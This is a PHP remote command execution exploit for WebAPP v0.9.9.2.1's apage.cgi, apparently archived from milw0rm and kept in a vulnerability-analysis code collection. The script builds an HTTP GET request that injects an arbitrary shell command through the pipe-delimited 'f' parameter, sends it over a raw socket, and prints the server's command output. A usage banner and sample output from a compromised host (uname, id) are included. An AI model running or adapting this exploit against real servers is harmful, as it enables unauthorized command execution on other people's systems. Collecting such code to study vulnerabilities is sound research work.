lilbool/vuln-code-analysis
0
1<?php
2
3########################################################
4# #
5# WebAPP v0.9.9.2.1 Remote Command Execution Exploit #
6# [Code by Nikyt0x] #
7# nikyt0x@gmail.com #
8# #
9# Advisory: www.defacers.com.mx/advisories/3.txt # #
10# #
11# Saludos: #
12# #
13# Soulblack Staff, Status-x, NeosecurityTeam, #
14# KingMetal, Trespasser... #
15# #
16########################################################
17# #
18# sbwebapp.php www.host.com /dirto/apage.cgi "command" #
19# #
20# Linux dprhensim19.doteasy.com 2.4.22-1.2199.nptl #
21# #1 Wed Aug 4 12:21:48 EDT 2004 i686 i686 i386 #
22# GNU/Linux #
23# uid=557(scapip) gid=558(scapip) groups=558(scapip) #
24# #
25# #
26# #
27########################################################
28
29
30if ($argc != 4) {
31
32 echo "\n =====================================\n";
33 echo " WebAPP v0.9.9.2.1 apage.cgi Exploit\n";
34 echo " =====================================\n";
35 echo " Nikyt0x - SoulBlack Team\n\n";
36 echo "\nUsage:\n\n";
37 echo " $argv[0] www.host.com /apagedir/apage.cgi \"command\"\n";
38 exit(0);
39 }
40
41if(!ereg('apage.cgi',$argv[2])) {
42 echo "URL to apage.cgi Incorrect.";
43 exit(0);
44 }
45
46 echo "\n =====================================\n";
47 echo " WebAPP v0.9.9.2.1 apage.cgi Exploit\n";
48 echo " =====================================\n";
49 echo " Nikyt0x - SoulBlack Team\n\n";
50
51
52
53
54$s0ck3t = fsockopen($argv[1], 80);
55if (!$s0ck3t) {
56 echo "[-] Socket\n";
57 exit(0);
58
59} else {
60 $ex3cutar = str_replace(" ", "%20", $argv[3]);
61 $petici0n = "GET $argv[2]?f=expofranquicias.htm|echo%20c0mand0s;$ex3cutar;echo%20final1zar| HTTP/1.1\r\n";
62 $petici0n .= "Host: $argv[1]\r\n";
63 $petici0n .= "Connection: Close\r\n\r\n";
64
65 echo "[+] Socket\n";
66
67 if(!fwrite($s0ck3t, $petici0n))
68 {
69 echo "[-] Sending Exploit\n";
70 exit(0);
71 }
72 echo "[+] Sending Exploit\n";
73 while (!feof($s0ck3t)) {
74 $g3tdata = fgets($s0ck3t, 1024);
75 if (eregi('c0mand0s',$g3tdata))
76 {
77 $aceptar = 1;
78 }
79 if (eregi('final1zar',$g3tdata))
80 {
81 $aceptar = 0;
82 }
83 while ($aceptar == 1)
84 {
85 if(eregi('c0mand0s',$g3tdata))
86 {
87 $g3tdata = str_replace('c0mand0s','', $g3tdata);
88 echo "[+] Command:\n";
89 }
90 $g3tdata = str_replace('c0mand0s','', $g3tdata);
91 echo $g3tdata;
92 break;
93 }
94
95 }
96 fclose($s0ck3t);
97}
98?>
99
100# milw0rm.com [2005-05-20]